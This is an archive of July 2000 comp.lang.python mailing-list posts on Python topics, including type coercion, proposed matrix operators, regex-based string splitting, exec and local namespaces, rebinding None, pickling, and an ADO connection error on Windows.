>> by accident. I don't want things to work by accident. Perhaps you're
>> missing that this 'problem' is also a 'feature'; you get less 'weird'
>> bugs due to the fact that your program keeps running long after your
>> data got coerce-mangled to death. Python would tend to throw exceptions
>> as soon as it went wrong.

> I think it depends what you are doing with your program.  I use Perl (and now
> Python) to parse text files before putting the info in or sending it out of a
> databse.  This is by no means bug free software (deadlines just don't permit enough
> testing).  If someone sticks a letter in my input file where a number should go I
> would rather my script deal with it than crash.
> After all its not _my_ fault theres
> a letter there.  However, managment will blame me for a 'bug' if the
> program throws
> an exception when someone else runs it.

Right, but even in that case I'd seen handling of such things explicit
in the code, instead of just hoping nothing nasty will happen. You can
catch this type of thing with try..except and just script the broken
line or record or whatever your input may be. The alternative can
be pretty devastating; imagine you have this file with a number in 
each row, and your script multiplies them all. If the system just treats
a string (that doesn't contain an integer) as a zero, the answer will
suddenly be zero.

Regards,

Martijn 
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From paul at prescod.net  Sat Jul 15 06:26:52 2000
From: paul at prescod.net (Paul Prescod)
Date: Sat, 15 Jul 2000 05:26:52 -0500
Subject: Docs for __init__.py?
References: <YKWb5.19749$MT.506147@news-west.usenetserver.com>
Message-ID: <39703C6C.3BEB3450@prescod.net>

Matthew Cline wrote:
> 
...
> 
> Specifically, does the package name have to corespond to the
> name of the directory that __init__.py is in?  Or is there
> some way for __init__.py to say "No, *this* is the name for the
> package?"

No, Python doesn't read the __init__.py until after it has found the
package using the traditional lookup mechanisms.

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From mfein at aplcomm.jhuapl.edu  Thu Jul 13 08:33:49 2000
From: mfein at aplcomm.jhuapl.edu (Matt Feinstein)
Date: Thu, 13 Jul 2000 12:33:49 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com>
Message-ID: <396daf35.3870545@aplnews>

On Wed, 12 Jul 2000 19:32:32 GMT, hzhu at knowledgetrack.com (Huaiyu Zhu)
wrote:

>
>We are at a crucial juncture concerning introduction of new operators into
>Python for matrix computation,
>
>1. Experiences with Matlab show that different operators for matrix and
>   elementwise operators are very important
>
>2. It is difficult to add .* and ./ as . is already a valid token.  It seems
>   that next candidate on the standard keyboard is @.
>
>3. Gregory Lielens has just implemented a patch that could parse additional
>   operators containing @
>
>   a at b  is equivalent to a*b,  overloaded using __mmul__   and __rmmul__  
>   a@/b                  a/b                    __mrdiv__  and __rmrdiv__ 
>   a/@b                  b/a                    __mldiv__  and __rmldiv__ 
>   a@@b                  a**b                   __mpow__   and __rmpow__  
>
>   He indicates similar constructions can be added easily.  
>
>
>We intend to add these operators together with Thomas Wouters's augmented
>assignment operators (+=,*=, etc) to MatPy, but before that several
>decisions need to be made.  First, the main choices:
>
>
>1. Use a*b as matrix mul, and a@*b as elementwise mul.
>Pros:
>- Consistent with Matlab.
>- Consistent with current MatPy.
>- Convenient for matrix computations.
>Cons:
>- Inconsistent with NumPy
>- How to differentiate left and right div (matlab a\b and a/b)?
>
>
>2. Use a@*b as matrix mul, and a*b as elementwise mul.
>Pros:
>- Consistent with NumPy
>- Can use a@/b and a/@b as matlab a/b and a\b.
>- Can use a at b as inner product so that a at b works irrespective of whether a
>  and b are row or col operators.
>Cons:
>- Inconsistent with current MatPy.  Need great effort to switch.
>- Using two symbol operator for matrix mul is cumbersome for long formulas.
>- It kind of looks ugly.
>
>
>3. Use a at b as matrix mul, and a*b as elementwise mul.  This has most of the
>pros and cons of choice 2, except 
>Pros:
>- Single symbol operators for matrix mul and element mul.
>Cons:
>- Can't use a at b as inner product.
>

My own preference would be 'as consistent as possible with MATLAB,
with some caveats'-- this would mean option 1, with some thought about
changes in places where the current MATLAB syntax drops the ball
(IMO). I don't think MATLAB's inelegances should be preserved for the
sake of consistency. On the other hand, I think it's very important to
make the translation from MATLAB language to Python as automatic as
possible.

The main thing I'd think about in addition to standard MATLAB syntax
is a natural 'prolongation' syntax. In other words, contexts in which
the vector [1 2 3] is naturally expanded to [1 2 3;1 2 3;1 2 3;...].
This operation is part of one of the basic strategies in
vectorization-- prolongation, followed by some vectorized operation,
followed in turn by selection or contraction. Presently, MATLAB can do
this, but only in an idomatic and peculiar way. There are some dangers
in this route-- it encourages a tendency to syntactical trickiness--
the history of the APL language provides a case in point and a
warning.

One thing that MATLAB does correctly (again, IMO) is its relatively
relaxed attitude towards distinctions among scalars, 1x1 vectors &
matrices as well as among different kinds of nulls and NAN's. You can
test for these distinctions if you want to, but generally MATLAB will
just quietly do the right thing. There's a tendency to get wrapped up
in fine distinctions in cases where there's really no ambiguity about
what the programmer wants to do.

--
Matt Feinstein
mfein at aplcomm.jhuapl.edu
Organizational Department of Repeated
and Unnecessary Redundancy


From alex at magenta.com  Sat Jul 29 08:11:14 2000
From: alex at magenta.com (Alex Martelli)
Date: Sat, 29 Jul 2000 14:11:14 +0200
Subject: Python is Zen (was Python is wierd)
References: <39806045.F67EBD04@wag.caltech.edu> <8lt0ap$69q$2@newsg4.svr.pol.co.uk>
Message-ID: <8luhsr61ce8@news2.newsguy.com>

"Bill de h?ra" <bill at dehora.fsnet.co.uk> wrote in message
news:8lt0ap$69q$2 at newsg4.svr.pol.co.uk...
> Does this imply a "Thinking in Python"?

"Thinking in Python" is among Bruce Eckel's future
plans, and you can read about it on his site, but
he doesn't seem to have made much progress on
deciding what should be in that book (pity, since
he's such an excellent writer).  Let's hope Python
2.0 decides him to go ahead and that he does not
get distracted by a "Thinking in C#" along the way
(though that should be a modest-enough editing of
"Thinking in Java" as not to take up too much of
his time, while being surely lucrative:-).


Alex





From alex at magenta.com  Mon Jul  3 05:16:29 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 3 Jul 2000 11:16:29 +0200
Subject: Class design: accessing "private" members
References: <962352843.1667731268@news.libertysurf.fr><8jhuvn01vs0@news2.newsguy.com> <4.3.1.2.20000630145109.0201d9e0@phear.dementian.com>
Message-ID: <8jplru0lfe@news2.newsguy.com>

Steven D. Arnold <stevena at neosynapse.net> wrote in message
news:4.3.1.2.20000630145109.0201d9e0 at phear.dementian.com...
> At 02:15 PM 6/30/2000 +0200, Jerome Quelin wrote:
>
> >Then, is it better/cleaner to access private members with accessors or
not?
> >Is it a matter of style? Or are there hidden caveheats using (or not
using)
> >accessors? It _seems_ cleaner to use accessors, but man, it's quite
awkward.
>
> If you always use accessors, then you can store or derive the value in any
> way you wish internally in your class.  You may completely change the way
> the value is obtained, and the class user doesn't need to change anything

These are excellent arguments for always using accessors from OUTSIDE the
class.  Jerome, however, was talking about using them from INSIDE the class
as well, which is a different issue.


Alex






From tim.hochberg at ieee.org  Wed Jul 26 16:42:15 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Wed, 26 Jul 2000 20:42:15 GMT
Subject: Please help... with re
References: <397F5947.EBDA7F33@e-pack.net>
Message-ID: <m23dkwsmhw.fsf@spiff.home.com>

Gilles Lenfant <glt at e-pack.net> writes:
> I made an horrid 68 lines monster to split a string to a list of
> substrings based on following example:
> 
> This is an "example of a \"splitted\" text " by my monster.
> 
> results to this list:
> 
> [ 'This' , 'is' , 'an' , 'example of a "splitted" text ' , 'by' , 'my' ,
> 'monster' ]
> 
> But the stuff is too slow to parse the lines of giant log files.
> I would like to use "re" package to make a shorter and faster script but
> understanding its patterns/methods is not in my poor brain capabilities.
> 
> I have burned my last neurons to try to do it, and I'm close to the edge
> of a nervous breakdown.
> Who can help me to get it at work ?

In general, I think you're better off breaking this into a number of
shorter, simpler operations. It'll probably be faster and will almost
certainly be easier to read. Consider the attached function,
minimonster, it parses your example correctly and can do 10,000
repitions of it in about 2.5 s on a slowish (300 MHz machine.) I
haven't seen you're monster example, but I would suspect that this is
faster and easier to read. This may not be exactly what you want (it
assumes no embebedded nulls for example), but maybe it'll get you
started.


N=10000
sampletext = r'This is an "example of a \"splitted\" text " by my monster. '*N

import string, re

quote = re.compile(r'[^\\]"')
def minimonster(text):
    # Replace ", but not \" with \0 so we can split on \0 
    # (ASSUMES NO EMBEDDED NULLS)
    newtext = quote.sub('\0', text)
    # Now replace \" with "
    newtext = string.replace(newtext, r'\"', '"')
    # now split on nulls
    textlist = string.split(newtext, '\0')
    # Now split on even sections only (odd sections are quoted).
    result = []
    isEven = 1
    for item in textlist:
        if isEven:
            result.extend(string.split(item))
        else:
            result.append(item)
        isEven = not isEven
    return result


import time

t0 = time.clock()
answer = minimonster(sampletext)
print time.clock() - t0
print answer[:50]


From gmcm at hypernet.com  Sat Jul 15 13:58:40 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 15 Jul 2000 17:58:40 GMT
Subject: Memory leaks
References: <395F78BF.CBEAA090@synacon.ch> <8F6667253gmcmhypernetcom@199.171.54.154> <8klffg$ql5$1@nnrp2.deja.com>
Message-ID: <8F7281699gmcmhypernetcom@199.171.54.194>

ioadler at my-deja.com wrote in <8klffg$ql5$1 at nnrp2.deja.com>:

>In article <8F6667253gmcmhypernetcom at 199.171.54.154>,
>  gmcm at hypernet.com (Gordon McMillan) wrote:
>> Ingo Adler wrote:
>>
>> [strange leaks in SWIG'd code]
[snip]
>> Doing things in the "obvious" way from your (snipped) incomplete code,
>> I get no leak when using MSVC 5.

>Finally, I reproduced the leaks under the control of "Code Guard", which
>can list them.

[snip trace and code snippets]

Not only did my experiment not leak, but I can't match up your SWIG 
snippets with anything in my SWIG generated code. I'm running SWIG1.1p5 (as 
of a few weeks ago, the latest stable release).

So maybe you're running a buggy SWIG. Or maybe I could ship you what I 
tried, and you can look for differences. I can't debug from your 
description (nor have I the time to do so), but I can assure you that what 
you're trying to do doesn't have to leak.

- Gordon


From niels at endea.demon.nl  Fri Jul 21 12:51:11 2000
From: niels at endea.demon.nl (Niels Diepeveen)
Date: Fri, 21 Jul 2000 18:51:11 +0200
Subject: dynamic bases
References: <20000721171635.B1431@balabit.hu>
Message-ID: <39787F7F.FCBA2490@endea.demon.nl>


Balazs Scheidler schreef:
> My other attempt was to use __getattr__ hooks to return attributes in a way
> that attributes of A are returned in case __dict__ of B doesn't contain a
> given name. Functions were bound to the instance of B, then the Python
> interpreter complained that self is not a subclass of B.

If you want to do it as cleanly as possible, you can use something like
this:

class DynaMethod:
    def __init__(self, instance, function):
        self.instance = instance
        self.function = function
    def __call__(self, *args, **kwargs):
        apply(self.function, (self.instance,) + args, kwargs)

if __name__ == '__main__':
    # test code
    def method_a(self):
        print 'Doing a now on object %s' % id(self)
        
    def method_b(self, arg1):
        print 'Doing b with argument %s' % repr(arg1)
        
    class A:
        def __init__(self):
            self.method_a = DynaMethod(self, method_a)
            self.method_b = DynaMethod(self, method_b)
    a = A()
    print 'Created instance %s' % id(a)
    dir(a)
    a.method_a()
    a.method_b('test')

This does take some extra memory and time though. A more efficient, but
probably implementation-dependent way would be to use
new.instancemethod().

-- 
Niels Diepeveen
Endea automatisering



From wware at world.std.com  Tue Jul 25 08:55:18 2000
From: wware at world.std.com (Will Ware)
Date: Tue, 25 Jul 2000 12:55:18 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <964118210.2281.0.pluto.d4ee0942@news.demon.nl> <397ab732.1184204@news.proxad.net> <964351215.18988.0.pluto.d4ee0942@news.demon.nl> <8lh588$oti$3@news.fsu.edu> <T1Ze5.9877$r4.5093@news.indigo.ie> <uya2rpfja.fsf@ctwd0143.fitlinxx.com> <3L%e5.9930$r4.5151@news.indigo.ie> <397D1F01.214C4F52@my.signature> <397D29B0.95CCDD35@san.rr.com>
Message-ID: <Fy97w8.Btt@world.std.com>

Courageous (jkraska1 at san.rr.com) wrote:
> I'm currently a Lisp developer,
> and the ability to get into the interpreter and probe the
> program I'm working on with arbitrarily complex expressions
> in Lisp is essential to discovering sometimes very hard to find
> problems.

Back in my early days as a hardware engineer, I had exactly this
complaint about the available logic analyzers (a kind of multi-track
oscilloscope for watching the bits on many wires simultaneously),
that the available triggers weren't flexible enough to catch the
events I was looking for. I ended up developing a knack for whipping
up small logic circuits to generate trigger signals based on things
happening on three or four wires.
-- 
 - - - - - - - - - - - - - - - - - - - - - - - -
Resistance is futile. Capacitance is efficacious.
Will Ware	email:    wware @ world.std.com


From dworkin at ccs.neu.edu  Sun Jul  9 18:33:12 2000
From: dworkin at ccs.neu.edu (Justin Sheehy)
Date: 09 Jul 2000 18:33:12 -0400
Subject: Splitting c.l.py...
In-Reply-To: Bjorn Pettersen's message of "Fri, 07 Jul 2000 12:13:53 -0600"
References: <Pine.LNX.4.21.0007052214190.4947-100000@krispc6.physik.uni-karlsruhe.de>
	<3dituj9cdi.fsf@kronos.cnri.reston.va.us>
	<39661DE1.A409330C@roguewave.com>
Message-ID: <vnd66qfrl1z.fsf@camelot-new.ccs.neu.edu>

Bjorn Pettersen <bjorn at roguewave.com> writes:

> So is this a good time to re-open the discussion on splitting the
> newsgroup/mailing list?

Why?

For a split to be worthwhile, there have to be obvious major
categories to break the original group into which are hopefully not
very overlapping.  What subgroups do you propose splitting it into
that wouldn't just result in having a lot of the traffic crossposted
to multiple groups?

While this newsgroup/list is fairly high traffic, I really don't see
any way to split it that makes sense.

-Justin

 



From johann at physics.berkeley.edu  Mon Jul 17 23:26:51 2000
From: johann at physics.berkeley.edu (Johann Hibschman)
Date: 17 Jul 2000 20:26:51 -0700
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735D6E.8E3349D9@roguewave.com> <39736688.E19DD546@eecis.udel.edu>
Message-ID: <mt66q4ktj8.fsf@astron.berkeley.edu>

Charles Boncelet writes:

>> - that many problems can be reduced to matrix operations is
>> a non-argument, since the same is true of functional/
>> procedural/oo/predicate programming.

> I agree, but there is a big userbase waiting for an alternative
> to the $$ Matlab.

Octave is already there as a free alternative, so I doubt python will
attract many of those people.

Personally, I find that the matrix-orientation of Matlab makes it
harder to get things done.  I more often have 3 or higher dimensional
arrays than I have plain old 2D matrices, so I'd rather see the more
general Numeric Python syntax than any over-specialized matrix code.

When you're contracting a 4-tensor with a vector, you almost need an
index-based notation.

As it is, the only things missing from NumPy is an easy spelling of
matrix-matrix multiplication, and if you really need that, you can
just define your own class to do it.

-- 
Johann Hibschman                           johann at physics.berkeley.edu


From brown.2053 at osu.NOSPAM.edu  Thu Jul 20 13:32:22 2000
From: brown.2053 at osu.NOSPAM.edu (Locke)
Date: Thu, 20 Jul 2000 13:32:22 -0400
Subject: example Tkinter code?
Message-ID: <8l7cvb$c61$1@mcnet.marietta.edu>

does anyone know where i can find some example python/tkinter code? i am
trying to learn, but i think some examples of how to use all those widgets
would be useful.

also, how can i change the text on a label? when i use the
variabletext=whatever thing, the label wont show up.

Thanks!




From robin at jessikat.fsnet.co.uk  Thu Jul 20 16:22:02 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 20 Jul 2000 21:22:02 +0100
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com>
 <397746c9.39446991@news.iol.ie>
Message-ID: <oh67$WAq91d5EwCp@jessikat.fsnet.co.uk>

In article <397746c9.39446991 at news.iol.ie>, Sean Mc Grath
<sean at digitome.com> writes
>>I think merge makes sense,
>>(and I don't really have a problem with zip()), but the metaphor that
>>most closely resembles what it does is braid(), as in hair..
>>
>Two suggestions:
>       1) raff
>       2) twingle
>
>"raff" is an invented verb form of "raffia", fibers of which are used
>to weave hats, baskets etc. (<nerd>Spot the Monty Python
>connection?</nerd>)
>
>"twingle" just sounds beautiful...
...
this thread is getting silly :) soon someone will mention Hitler :(
-- 
Robin Becker


From rob at hooft.net  Wed Jul 19 03:02:37 2000
From: rob at hooft.net (Rob Hooft)
Date: 19 Jul 2000 09:02:37 +0200
Subject: Toplevel "test()" functions in standard library
Message-ID: <m2vgy28uwi.fsf@hooft.net>

In the standard library there is about 20 modules with the construction:

------------------------------------------
[module definitions]

def test():
    [testing code or general main program]

if __name__=="__main__":
    test()
------------------------------------------

Wouldn't it be better to move the test() definition inside the if
statement in these cases, to prevent name space pollution? Note that
the routines are not called "_test()", so they will be imported by a
"from ... import *" (There are other modules with a _test() definition
as well).

Even worse: the test() routine might have severe side effects:
e.g. base64.test() will block waiting for data from stdin...

Going one step further: Should all of these "test()" and "_test()"
routines be in the code library at all, even now that we have a
complete test engine?

I will submit an example to the SourceForge patch manager.

Rob
-- 
=====   rob at hooft.net          http://www.hooft.net/people/rob/  =====
=====   R&D, Nonius BV, Delft  http://www.nonius.nl/             =====
===== PGPid 0xFA19277D ========================== Use Linux! =========


From warren at sunesis-pharma.com  Fri Jul  7 13:02:29 2000
From: warren at sunesis-pharma.com (Warren L. DeLano)
Date: Fri, 07 Jul 2000 10:02:29 -0700
Subject: Namespace Mystery (HELP!)
References: <39655351.9EE499F2@sunesis-pharma.com> <39656345.86AADA8A@prescod.net> <qLg95.20564$R7.3640142@juliett.dax.net>
Message-ID: <39660D24.63BE61D3@sunesis-pharma.com>

Thanks to Paul Prescod for his concise answer.  Unfortunately that important
information was omitted from the otherwise excellent "Python: Essential
Reference".  However, the crux of my question really relates to the behavior
of the "exec" statement, and the fact that, with respect to local
variables...

   exec <code>

IS NOT EQUIVALENT TO

   exec <code-object> in globals()  # A
or
   exec <code-object> in globals(),locals()  # B

Okay, we now know why B doesn't work, but why is it that A doesn't work as
well?

I have small code fragments generated at runtime (from a command-line
interpreter) that I would like to execute within the local namespace of a
function, but which also have access to a separate global namespace (my own
namespace - not the global namespace).  I don't want to touch the global
namespace of the module (not thread safe). Thus I want to pass in:

# illustrative example

def fn(code,my_globals):
   a = 1
   b = 1
   exec "b=2" in my_globals
   return a+b

Assume that code contains references to variables in functions in the
my_globals dictionary, and that it alters the a and b variables.   The above
code won't work, because changes won't be preserved, even though I haven't
even provided locals to exec!

There is a workaround:

def fn(code):
    a = 1
    b = 1
    my_locals = locals()
    exec code in my_globals,my_locals
    return my_locals['a']+my_locals['b']

which is clearly awkward if you need to do anything more complex with a and
b...

Warren

Dag Sunde wrote:

> Warren,
>
> Aside from your question about the locals() and Pauls
> excellent answer, is there any particular reason
> you're not writing something like:
>
> >>> def fnx():
> ...  b = 1
> ...  global a
> ...  a = 2
> ...  b = 2
> ...  print a, b
>
> Dag.
>
> "Paul Prescod" <paul at prescod.net> wrote in message
> news:39656345.86AADA8A at prescod.net...
> > > Why is the output "2 1" and not "2 2"?
> > > What is it about the locals() function that makes it behave
> > > unexpectedly?
> >
> > locals ()
> > Return a dictionary representing the current local symbol table.
> > Warning: the contents of this dictionary should not be modified;
> changes
> > may not affect the values of local variables used by the interpreter.
> >
> > http://www.python.org/doc/lib/built-in-funcs.html
> >
> > Python doesn't typically look up local variables based on a string
> name
> > at runtime. That would be too inefficient. Rather it looks them up
> > positionally.
> >
> > --
> >  Paul Prescod - Not encumbered by corporate consensus
> > Pop stars come and pop stars go, but amid all this change there is one
> > eternal truth: Whenever Bob Dylan writes a song about a guy, the guy
> is
> > guilty as sin.
> > - http://www.nj.com/page1/ledger/e2efc7.html
> >

--
mailto:warren at sunesis-pharma.com
Warren L. DeLano, Ph.D.
Informatics Scientist
Sunesis Pharmaceuticals, Inc.
3696 Haven Ave., Suite C
Redwood City, CA 94063
(650)-556-8800 fax: (650)-556-8824




From moron at Glue.umd.edu  Fri Jul 21 20:29:35 2000
From: moron at Glue.umd.edu (Warren B. Focke)
Date: 21 Jul 2000 20:29:35 -0400
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <slrn8nf8vv.rb.hzhu@localhost.localdomain> <8l8dmd$4p0@stochastic.eng.umd.edu> <slrn8nfsvg.rb.hzhu@localhost.localdomain>
Message-ID: <8laptf$4mo@stochastic.eng.umd.edu>

>>The old code might not even have to coexist, the new package could
>>provide compatibility modules:
>
>Interesting. Details?

I'll admit I had not thought hard about this before posting - that's
why I said "might".  In the current implementation of NumPy, in which
arrays are a type rather than a class, and thus cannot be subclassed
nor have their methods reassigned, it probably wouldn't work like I
implied.

But we aren't discussing the current implementation.  So we could have
a common base type which included all of the operations, then

------- Numeric.py ----------
class array:
	from array_base import *

	__mul__ = mul_elementwise

	__add__ = add_broadcasting
#or maybe
	__add__ = lambda self, other, dest: add(self, other, dest, broadcast=1)
#and so on.
------------------------------

Not sure whether the rumored future type/class healing would make this
simpler.

And while we're pondering reimplementaions, it might be cool to move
as much non-performance-critical code as feasible up into a Python
layer to ease synchronization between [C/J/IL?/???]Numeric.  The top
layer would be shared, and only the core would be in whichever
low-level language.

Then again, maybe I'm biting off more than my brain can chew on a
Friday afternoon.

WBF

-- 
If you feel that you have both feet planted on level ground, then the
university has failed you. -Robert Goheen, President, Princeton University


From loewis at informatik.hu-berlin.de  Mon Jul 10 13:20:33 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: Mon, 10 Jul 2000 19:20:33 +0200 (MET DST)
Subject: [Python-Help] imp.load_module from a string
In-Reply-To: <3969DACB.D6C15CEF@nipltd.com> (message from Chris Withers on
	Mon, 10 Jul 2000 15:16:43 +0100)
References: <39672E50.B83A4C81@nipltd.com> <200007081846.UAA04878@pandora.informatik.hu-berlin.de> <3969AC50.98F36FF4@nipltd.com> <200007101103.NAA14484@pandora.informatik.hu-berlin.de> <3969DACB.D6C15CEF@nipltd.com>
Message-ID: <200007101720.TAA05354@pandora.informatik.hu-berlin.de>

> Hmmm, some of these classes are being used to unpickle objects sent from
> the server. I guess I just have to make sure the right version of the
> module is in sys.modules when I unpickle the object?

Exactly. pickle sends klasse.__name__ and klasse.__module__; unpickle
expects to find those in sys.module, or imports the module if not
found.

As a result, you can't pickle nested classes, either.

Regards,
Martin



From alex at magenta.com  Fri Jul 28 10:54:41 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 16:54:41 +0200
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com>
Message-ID: <8ls73c01d3r@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o1vc0.vnr.grey at teleute.rpglink.com...
    [snip]
>     Like I said, every language has its quirks.  Every language.  Just
because
> this is your favorite doesn't mean it doesn't have quirks, just means you
are
> used to them.  Just as a perl programmer I am used to perl's quirks and
take
> advantage of them and, yes, sometimes get caught by them as well.  Just as
I

I have 8 years' experience with Perl, and less than a year with Python.
After
a *MONTH* of Python, I was far happier and more productive with it than I've
ever been throughout those long, drab years of Perl (actually, I was
deliriously
happy already well before the month was over, but, realistically, it did
take a few
weeks before I started feeling _mastery_ of the language's mechanics -- I
was,
after all, studying it "very part-time"!).

So, it most emphatically DOESN'T "just mean I am used" to the quirks of one
language and not to those of another; there IS a huge difference in the
quirk-sets
involved.  Which doesn't have to mean one of them is empty, of course.
"Every
sea has some water" doesn't have to mean Aral is remotely comparable to the
Pacific Ocean, even as long as the former still has some drops in it; "every
man
has some money" doesn't mean my finances are comparable with Bill Gates'.

> am in the process of learning Python (rapidly, I might add) and have, and
> will, be caught by its quirks and will also learn to take advantage of
them.
>
>     But please, if you're going to toss rocks out your glass house, at
least
> be realistic about it, ok?  At least then your neighbors are more apt to
help
> you sweep up the resulting mess.

Realism and pragmatism are fine qualities.  But they STILL don't make Aral
and the Pacific directly comparable.


>     And just for fun, here's a good quirk for you.
>
> None = 1
> a = None
> >>> if a:
> ...   print "foo\n"
> ...
> foo
>
> >>> a
> 1
>
>     I think that is kinda neat, don't you?

I don't understand why it would be a 'quirk', or 'neat', that identifiers
bound
in the current (global) namespace hide homonyms bound in the builtin
namespace.  (Similarly, those in the local namespace hide those in the
global one).  I've been using lexically scoped languages for over a quarter
century, and it seems quite sensible and reasonable to me; having just
three active namespaces rather than an unbounded amount, which is
Python's peculiarity wrt other languages in this regard, plays no role in
this which you claim to be a 'quirk'.

Would you expect identifiers bound in a wider namespace to somehow
'lock-out' or 'pre-empt' narrower-namespace rebinding, a la Java?  I did
not find this Java feature at all helpful when I used Java (nor particularly
damaging, either).


> {grey at teleute:~} perl
> null = "foo";
> Can't modify constant item in scalar assignment at - line 1, near ""foo";"
>
>     I just don't understand how people can advocate for types and the
> restrictions they impose while, on the other hand, embracing a language
that
> is free enough to shoot yourself in the foot by reassigning None.

Naming and typing are orthogonal issues and Python keeps them
carefully separated (a very strong point in its favour).  The Perl idea
of keeping unlimited 'barewords' available for infinite future addition
of keywords is part of what forces all of those yecchy '$'.  Python has
chosen to define its set of keywords (reserved words) very carefully
and narrowly, once and for all, limiting keywords to those which bear
a needed syntactic load (following in this the tradition of Pascal, C,
etc): exactly 28 of them, in a carefully designed balance between
restriction of the set, and program readability.

None of the 28 keywords, of course, names an object of any kind.
All names of objects (functions, constants, etc) which Python defines
are perfectly ordinary identifiers, just bound in advance in the
__builtins__ namespace (86 of them in my current 1.5.2 setup).

You can perfectly well choose to re-bind them differently in a more
localized namespace, of course; in that namespace, you will then
(just as "of course") have to use the long explicit form
    __builtins__.Identifier
rather than just mentioning Identifier, if you want to access the
original binding in __builtins__.

Further, namespace dictionaries are not locked -- try rebinding
or unbinding (deleting) __builtins__.None, for *REAL* fun (and
don't be surprised if an IDE crashes when you do that:-).  I think
some explicit way to lock a dictionary against modification would
be neat to avoid _accidental_ rebinding of entries, actually, but
I doubt that this rebinding (or deleting, etc) *could* be at all likely
to happen *accidentally*!-)... anybody really determined to rebind
__builtins__.None would have no qualms calling the 'unlock'
method on its dictionary, either!-)


Alex





From tim.hochberg at ieee.org  Tue Jul 18 23:57:25 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Wed, 19 Jul 2000 03:57:25 GMT
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <slrn8n9s6i.so.hzhu@rock.localdomain> <m2u2dnkltz.fsf@spiff.home.com> <slrn8na4js.so.hzhu@rock.localdomain>
Message-ID: <m2puoalt61.fsf@spiff.home.com>

hzhu at localhost.localdomain (Huaiyu Zhu) writes:

[SNIP some stuff about how proposed notation is not consisten with
existing NumPy behaviour]

> I would have prefered compatibility with NumPy, except for two reasons:
> 1. MatPy was started because there is a real need for using infix operator
>    for matrix multiplication and the only way available was to define a new
>    class.  So for MatPy users, at least, * already means matrixwise.
> 2. The current list add is not componentwise.

This is fair enough. You could add that the existing list replication
(*) is not componentwise either. However, with this incompatability in
mind I think "just tell the newbies that . means componentwise" is a
bit of an overstatement. (I'm afraid I don't have the original in
front of me, so I've probably butchered that quote, sorry).

> I don't know of a way that satisfies every compatibility demand.  Because
> the supply of binary operators has been very limited, each package assigns
> them to their most deserving ones instead of according to a better overall
> plan.  Had there been more this could have been better coordinated.
> 
> >Personally I think that this an overlarge crop of operators to be
> >adding. Since I prefer something like:
> >
> >A.inv * B 
> >
> >to 
> >
> >A \ B
> 
> They are equal in math, but not in practice.  The former takes O(n^3)
> computation while the latter is O(n^2).  The former is also less accurate
> for near singular A because of rounding error.

Actually it's easy enough to make them equal in practice as well as in
math. A.inv doesn't have to be (in fact shouldn't be) the actual
inverse matrix, rather it starts it's life as a class containing a
reference to A. As a simple example:

class InverseMatrix:

   def __init__(self, matrix):
      self._matrix = matrix

   def __mul__(self, other):
      return LinearAlgebra.solve_linear_equations(self._matrix, other)

where A.inv is initialize to InverseMatrix(A).

Then A.inv * B returns LinearAlgebra.solve_linear_equation(A, B) and
is order N**2 just as A\B.

Things would have to more complicated in real life of course. If
someone tried to look at or modify A.inv, you'd probably want to cache
the modified result. Some thought would be required to get this right,
but I believe it's doable.

> The other operators are also useful. For example, the + and .+ do different
> things.  If you add a row and column vector with + it will complain about
> shape mismatch, as defined in linear algebra. With .+ it will give a matrix
> properly extended to both rows and columns.  This has been asked for in this
> thread. I've seen it been called prolongation, continuation or cross
> extension, among others.  In fact, in MatPy, the .+ .- .* ./ do exactly what
> + - * / do in NumPy.

I'm afraid I don't find this usage all that compelling, but that, of
course, is just my opinion.

-tim


From dale at out-think.NOSPAMco.uk  Wed Jul 19 09:31:38 2000
From: dale at out-think.NOSPAMco.uk (Dale Strickland-Clark)
Date: Wed, 19 Jul 2000 14:31:38 +0100
Subject: ADO 2.5 connection problem
Message-ID: <snbbe8hl1nk87@news.supernews.com>

Sorry about the length of this post but I've run out of ideas.

The following error is produced by a short extract of the program I'm
working on.

The program opens a database connection (ADO) object which it stores in the
object it returns on creation.

That connection is then used on subsequent calls to access record sets. The
test() method shows that the connection is still open.

This used to work with MDAC 2.1 but I had to upgrade to MDAC 2.5. That's
when it stopped working. This error is reproducible on NT 4.0 and Windows
2000.

HELP! Why can't I use this connection?


>>> import thstest
>>> x = thstest.ths()
Create ths...
>>> x.logon('fred', 'pw')
Traceback (innermost last):
  File "<interactive input>", line 1, in ?
  File "S:\JOBS\THS\Code\thstest.py", line 52, in logon
    rs.open(qry, self.dbcon, adOpenStatic, adLockOptimistic, adCmdText)
  File "d:\Program Files\Python\win32com\client\dynamic.py", line 428, in
__getattr__
    raise pythoncom.com_error, details
com_error: (-2147352567, 'Exception occurred.', (0, 'ADODB.Recordset',
'Operation is not allowed on an object referencing a closed or invalid
connection.', 'C:\\WINNT\\HELP\\ADO210.CHM', 0, -2146824579), None)
>>> x.test()
Connection state: 1
>>>


